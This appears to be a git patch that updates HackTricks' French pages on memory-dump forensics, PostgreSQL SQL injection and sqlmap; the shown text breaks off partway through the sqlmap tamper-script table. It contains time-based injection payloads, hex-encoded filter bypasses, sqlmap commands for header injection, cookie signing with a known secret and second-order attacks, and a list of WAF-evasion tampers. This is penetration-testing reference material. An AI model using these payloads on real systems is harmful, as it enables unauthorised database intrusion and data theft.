From dd2bfcb4fcbf347e8a59b1847ca72bcf732a9e18 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 9 Feb 2024 02:16:20 +0000 Subject: [PATCH] Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R --- .../memory-dump-analysis/README.md | 24 +- .../postgresql-injection/README.md | 26 +- pentesting-web/sql-injection/sqlmap/README.md | 88 ++--- .../sqlmap/second-order-injection-sqlmap.md | 46 +-- .../README.md | 28 +- .../cloud-ssrf.md | 25 +- .../ssrf-vulnerable-platforms.md | 28 +- .../url-format-bypass.md | 14 +- .../README.md | 42 +-- .../el-expression-language.md | 36 +- .../jinja2-ssti.md | 38 +- pentesting-web/unicode-injection/README.md | 56 +-- .../unicode-normalization.md | 14 +- .../web-vulnerabilities-methodology/README.md | 96 ++--- .../connection-pool-by-destination-example.md | 6 +- .../xs-search/connection-pool-example.md | 56 +-- .../cookie-bomb-+-onerror-xs-leak.md | 10 +- .../xs-search/css-injection/README.md | 50 +-- .../css-injection/css-injection-code.md | 36 +- .../event-loop-blocking-+-lazy-images.md | 16 +- .../xs-search/javascript-execution-xs-leak.md | 4 +- .../performance.now-+-force-heavy-task.md | 12 +- .../xs-search/performance.now-example.md | 8 +- .../xs-search/url-max-length-client-side.md | 6 +- .../xss-cross-site-scripting/README.md | 96 +++-- .../abusing-service-workers.md | 29 +- .../chrome-cache-to-xss.md | 16 +- .../debugging-client-side-js.md | 36 +- .../dom-clobbering.md | 30 +- .../xss-cross-site-scripting/dom-invader.md | 16 +- .../xss-cross-site-scripting/dom-xss.md | 54 ++- .../iframes-in-xss-and-csp.md | 16 +- .../xss-cross-site-scripting/js-hoisting.md | 24 +- .../other-js-tricks.md | 36 +- .../xss-cross-site-scripting/pdf-injection.md | 4 +- .../server-side-xss-dynamic-pdf.md | 26 +- .../xss-cross-site-scripting/shadow-dom.md | 13 +- .../xss-cross-site-scripting/sniff-leak.md | 36 +- .../some-same-origin-method-execution.md | 16 +- .../xss-cross-site-scripting/steal-info-js.md | 24 +- .../xss-in-markdown.md | 18 +- .../escaping-from-gui-applications/README.md | 267 ++++++-------- physical-attacks/firmware-analysis/README.md | 327 ++++++----------- .../firmware-analysis/bootloader-testing.md | 31 +- .../firmware-analysis/firmware-integrity.md | 28 +- physical-attacks/physical-attacks.md | 153 +++----- radio-hacking/README.md | 14 +- radio-hacking/low-power-wide-area-network.md | 28 +- .../pentesting-ble-bluetooth-low-energy.md | 40 +- radio-hacking/pentesting-rfid.md | 52 +-- .../linux-exploiting-basic-esp/elf-tricks.md | 20 +- reversing/common-api-used-in-malware.md | 132 ++++--- reversing/cryptographic-algorithms/README.md | 111 +++--- .../unpacking-binaries.md | 51 +-- .../reversing-tools-basic-methods/README.md | 193 +++++----- .../angr/README.md | 55 +-- .../angr/angr-examples.md | 16 +- .../blobrunner.md | 30 +- .../cheat-engine.md | 96 ++--- .../satisfiability-modulo-theories-smt-z3.md | 10 +- reversing/reversing-tools/README.md | 275 +++++--------- reversing/reversing-tools/blobrunner.md | 28 +- reversing/word-macros.md | 34 +- stego/esoteric-languages.md | 14 +- stego/stego-tricks.md | 343 +++++++++--------- todo/hardware-hacking/README.md | 60 +-- todo/hardware-hacking/i2c.md | 47 +-- todo/hardware-hacking/jtag.md | 36 +- todo/hardware-hacking/radio.md | 134 ++++--- todo/hardware-hacking/spi.md | 32 +- todo/hardware-hacking/uart.md | 54 +-- todo/misc.md | 51 ++- todo/more-tools.md | 85 ++--- todo/radio-hacking/flipper-zero/README.md | 11 +- .../flipper-zero/fz-125khz-rfid.md | 56 +-- todo/radio-hacking/flipper-zero/fz-ibutton.md | 34 +- .../radio-hacking/flipper-zero/fz-infrared.md | 16 +- todo/radio-hacking/flipper-zero/fz-nfc.md | 34 +- todo/radio-hacking/flipper-zero/fz-sub-ghz.md | 104 +++--- todo/radio-hacking/ibutton.md | 40 +- todo/radio-hacking/infrared.md | 72 ++-- todo/radio-hacking/proxmark-3.md | 28 +- todo/radio-hacking/sub-ghz-rf.md | 80 ++-- welcome/about-the-author.md | 10 +- welcome/hacktricks-values-and-faq.md | 36 +- .../abusing-ad-mssql.md | 10 +- .../ad-certificates.md | 26 +- .../ad-dns-records.md | 4 +- .../ad-information-in-printers.md | 10 +- .../asreproast.md | 8 +- .../bloodhound.md | 26 +- .../constrained-delegation.md | 36 +- .../custom-ssp.md | 6 +- .../active-directory-methodology/dcshadow.md | 26 +- .../active-directory-methodology/dcsync.md | 14 +- .../diamond-ticket.md | 28 +- .../dsrm-credentials.md | 37 +- ...external-forest-domain-one-way-outbound.md | 16 +- .../external-forest-domain-oneway-inbound.md | 16 +- .../golden-ticket.md | 18 +- .../kerberoast.md | 32 +- .../kerberos-authentication.md | 6 +- .../kerberos-double-hop-problem.md | 22 +- .../active-directory-methodology/laps.md | 28 +- .../over-pass-the-hash-pass-the-key.md | 14 +- .../pass-the-ticket.md | 8 +- .../password-spraying.md | 10 +- .../resource-based-constrained-delegation.md | 36 +- .../security-descriptors.md | 16 +- .../sid-history-injection.md | 16 +- .../silver-ticket.md | 26 +- .../skeleton-key.md | 18 +- .../unconstrained-delegation.md | 12 +- .../authentication-credentials-uac-and-efs.md | 48 +-- windows-hardening/av-bypass.md | 94 ++--- windows-hardening/basic-cmd-for-pentesters.md | 12 +- .../checklist-windows-privilege-escalation.md | 132 +++---- windows-hardening/lateral-movement/README.md | 26 +- .../lateral-movement/dcom-exec.md | 16 +- windows-hardening/ntlm/atexec.md | 44 +-- .../ntlm/places-to-steal-ntlm-creds.md | 8 +- .../README.md | 32 +- 122 files changed, 2583 insertions(+), 2977 deletions(-) diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 7257cbed9..41ab82135 100644 --- a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -2,31 +2,31 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. +[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec pour **mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %} -## Commencer +## Démarrer -Commencez à **rechercher** des **logiciels malveillants** dans le pcap. Utilisez les **outils** mentionnés dans [**Analyse de logiciels malveillants**](../malware-analysis.md). +Commencez à **rechercher** les **logiciels malveillants** dans le pcap. Utilisez les **outils** mentionnés dans [**Analyse de logiciels malveillants**](../malware-analysis.md). ## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) **Volatility est le principal framework open source pour l'analyse des dumps mémoire**. Cet outil Python analyse les dumps provenant de sources externes ou de machines virtuelles VMware, identifiant des données telles que des processus et des mots de passe en fonction du profil OS du dump. Il est extensible avec des plugins, le rendant très polyvalent pour les enquêtes forensiques. -**[Trouvez ici une feuille de triche](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** +**[Trouvez ici une fiche de triche](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** ## Rapport de crash de mini dump @@ -34,7 +34,7 @@ Lorsque le dump est petit (juste quelques Ko, peut-être quelques Mo), il s'agit ![](<../../../.gitbook/assets/image (216).png>) -Si vous avez Visual Studio installé, vous pouvez ouvrir ce fichier et lier quelques informations de base comme le nom du processus, l'architecture, les informations sur les exceptions et les modules en cours d'exécution : +Si vous avez Visual Studio installé, vous pouvez ouvrir ce fichier et lier quelques informations de base comme le nom du processus, l'architecture, les informations sur l'exception et les modules en cours d'exécution : ![](<../../../.gitbook/assets/image (217).png>) @@ -50,18 +50,18 @@ Vous devriez l'**ouvrir** en utilisant **IDA** ou **Radare** pour l'inspecter en
-[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. +[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec pour **mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md index ac230e1a6..8340558ce 100644 --- a/pentesting-web/sql-injection/postgresql-injection/README.md +++ b/pentesting-web/sql-injection/postgresql-injection/README.md @@ -9,13 +9,13 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. \ -**Conseil de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des pirates informatiques, pour des pirates informatiques ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! +**Conseil de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des pirates informatiques, pour les pirates informatiques ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -27,9 +27,9 @@ Autres façons de soutenir HackTricks : Le module **PostgreSQL `dblink`** offre des capacités pour se connecter à d'autres instances PostgreSQL et exécuter des connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité `COPY FROM`, permettent des actions telles que l'élévation de privilèges, le balayage de ports et la capture de la réponse au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment [effectuer ces attaques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). -### **Exemple d'exfiltration utilisant dblink et les grands objets** +### **Exemple d'exfiltration utilisant dblink et de grands objets** -Vous pouvez [**lire cet exemple**](dblink-lo\_import-data-exfiltration.md) pour voir un exemple de CTF de **comment charger des données à l'intérieur de grands objets et ensuite exfiltrer le contenu des grands objets à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`. +Vous pouvez [**lire cet exemple**](dblink-lo\_import-data-exfiltration.md) pour voir un exemple de CTF de **comment charger des données à l'intérieur de grands objets et ensuite exfiltrer le contenu de grands objets à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`. ## Attaques PostgreSQL : Lecture/écriture, RCE, élévation de privilèges @@ -48,7 +48,7 @@ La manipulation de chaînes pourrait vous aider à **contourner les WAF ou d'aut ### Requêtes empilées -Rappelez-vous que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont renvoyées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via l'injection de temps : +N'oubliez pas que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont renvoyées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via l'injection de temps : ``` id=1; select pg_sleep(10);-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - @@ -57,7 +57,7 @@ id=1; select pg_sleep(10);-- - **query\_to\_xml** -Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez extraire beaucoup de données en une seule ligne : +Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez déverser beaucoup de données dans une seule ligne : ```sql SELECT query_to_xml('select * from pg_user',true,true,''); ``` @@ -69,9 +69,7 @@ SELECT database_to_xml(true,true,''); ``` ### Chaînes en hexadécimal -Si vous pouvez exécuter des **requêtes** en les passant **à l'intérieur d'une chaîne** (par exemple en utilisant la fonction **`query_to_xml`**). **Vous pouvez utiliser la fonction convert\_from pour passer la chaîne en hexadécimal et contourner les filtres de cette manière :** - -{% code overflow="wrap" %} +Si vous pouvez exécuter des **requêtes** en les passant **à l'intérieur d'une chaîne** (par exemple en utilisant la fonction **`query_to_xml`**), **vous pouvez utiliser la fonction convert\_from pour passer la chaîne en hexadécimal et contourner les filtres de cette manière :** ```sql select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8'); @@ -96,20 +94,20 @@ SELECT $$hacktricks$$; SELECT $TAG$hacktricks$TAG$; ``` \ -**Conseil de prime de bug**: **Inscrivez-vous** sur **Intigriti**, une plateforme premium de **prime de bug créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! +**Conseil de prime de bug**: **Inscrivez-vous** sur **Intigriti**, une plateforme de **prime de bug premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! {% embed url="https://go.intigriti.com/hacktricks" %}
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/sql-injection/sqlmap/README.md b/pentesting-web/sql-injection/sqlmap/README.md index 15e999db8..f1895cac0 100644 --- a/pentesting-web/sql-injection/sqlmap/README.md +++ b/pentesting-web/sql-injection/sqlmap/README.md @@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de gagner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -62,7 +62,7 @@ Autres façons de soutenir HackTricks : ``` ## Lieu de l'injection -### À partir de la capture Burp/ZAP +### À partir de la capture de Burp/ZAP Capturez la requête et créez un fichier req.txt ```bash @@ -97,7 +97,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" ``` ### Eval -**Sqlmap** permet l'utilisation de `-e` ou `--eval` pour traiter chaque charge utile avant de l'envoyer avec un code python en une seule ligne. Cela facilite et accélère le traitement de la charge utile de manière personnalisée avant de l'envoyer. Dans l'exemple suivant, la **session cookie flask** **est signée par flask avec le secret connu avant de l'envoyer**: +**Sqlmap** permet l'utilisation de `-e` ou `--eval` pour traiter chaque charge utile avant de l'envoyer avec un oneliner python. Cela facilite et accélère le traitement personnalisé de la charge utile avant de l'envoyer. Dans l'exemple suivant, **la session cookie de flask** **est signée par flask avec le secret connu avant de l'envoyer**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` @@ -124,7 +124,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` -### Injection de second ordre +### Injection de Second Ordre ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs @@ -155,56 +155,56 @@ Rappelez-vous que **vous pouvez créer votre propre altérer en python** et c'es ``` | Tamper | Description | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | -| apostrophemask.py | Remplace le caractère apostrophe par son homologue en largeur complète UTF-8 | -| apostrophenullencode.py | Remplace le caractère apostrophe par son homologue illégal en double unicode | -| appendnullbyte.py | Ajoute un caractère NULL encodé à la fin de la charge utile | -| base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée | -| between.py | Remplace l'opérateur supérieur ('>') par 'NOT BETWEEN 0 AND #' | -| bluecoat.py | Remplace le caractère espace après une instruction SQL par un caractère blanc aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE | +| apostrophemask.py | Remplace le caractère apostrophe par son homologue UTF-8 en pleine largeur | +| apostrophenullencode.py | Remplace le caractère apostrophe par son homologue double unicode illégal | +| appendnullbyte.py | Ajoute un caractère NULL encodé à la fin de la charge utile | +| base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée | +| between.py | Remplace l'opérateur supérieur ('>') par 'NOT BETWEEN 0 AND #' | +| bluecoat.py | Remplace le caractère espace après l'instruction SQL par un caractère blanc aléatoire valide. Remplace ensuite le caractère = par l'opérateur LIKE | | chardoubleencode.py | Double encode en URL tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) | -| commalesslimit.py | Remplace les instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' | -| commalessmid.py | Remplace les instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' | -| concat2concatws.py | Remplace les instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | +| commalesslimit.py | Remplace les instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' | +| commalessmid.py | Remplace les instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' | +| concat2concatws.py | Remplace les instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | | charencode.py | Encode en URL tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) | | charunicodeencode.py | Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter les caractères déjà encodés). "%u0022" | | charunicodeescape.py | Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter les caractères déjà encodés). "\u0022" | -| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' | -| escapequotes.py | Échappe les guillemets (' et ") | -| greatest.py | Remplace l'opérateur supérieur ('>') par son homologue 'GREATEST' | -| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé | -| ifnull2ifisnull.py | Remplace les instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' | -| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné | -| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire à zéro version | -| multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL | -| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par ex. .replace("SELECT", "")) filtres | +| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' | +| escapequotes.py | Échappe aux guillemets (' et ") | +| greatest.py | Remplace l'opérateur supérieur ('>') par son homologue 'GREATEST' | +| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé | +| ifnull2ifisnull.py | Remplace les instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' | +| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné | +| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire à zéro version | +| multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL | +| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par ex. .replace("SELECT", "")) filtres | | percentage.py | Ajoute un signe de pourcentage ('%') devant chaque caractère | -| overlongutf8.py | Convertit tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) | -| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de cas aléatoire | -| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL | +| overlongutf8.py | Convertit tous les caractères d'une charge utile donnée (sans traiter les caractères déjà encodés) | +| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de cas aléatoire | +| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL | | securesphere.py | Ajoute une chaîne spécialement conçue | -| sp\_password.py | Ajoute 'sp\_password' à la fin de la charge utile pour l'obfuscation automatique des journaux du SGBD | -| space2comment.py | Remplace le caractère espace (' ') par des commentaires | +| sp\_password.py | Ajoute 'sp\_password' à la fin de la charge utile pour l'obfuscation automatique des journaux du DBMS | +| space2comment.py | Remplace le caractère espace (' ') par des commentaires | | space2dash.py | Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') | -| space2hash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') | -| space2morehash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') | -| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | -| space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'un saut de ligne ('\n') | -| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | +| space2hash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') | +| space2morehash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n') | +| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | +| space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'un saut de ligne ('\n') | +| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | | space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire de tiret ('--') suivi d'un saut de ligne ('\n') | | 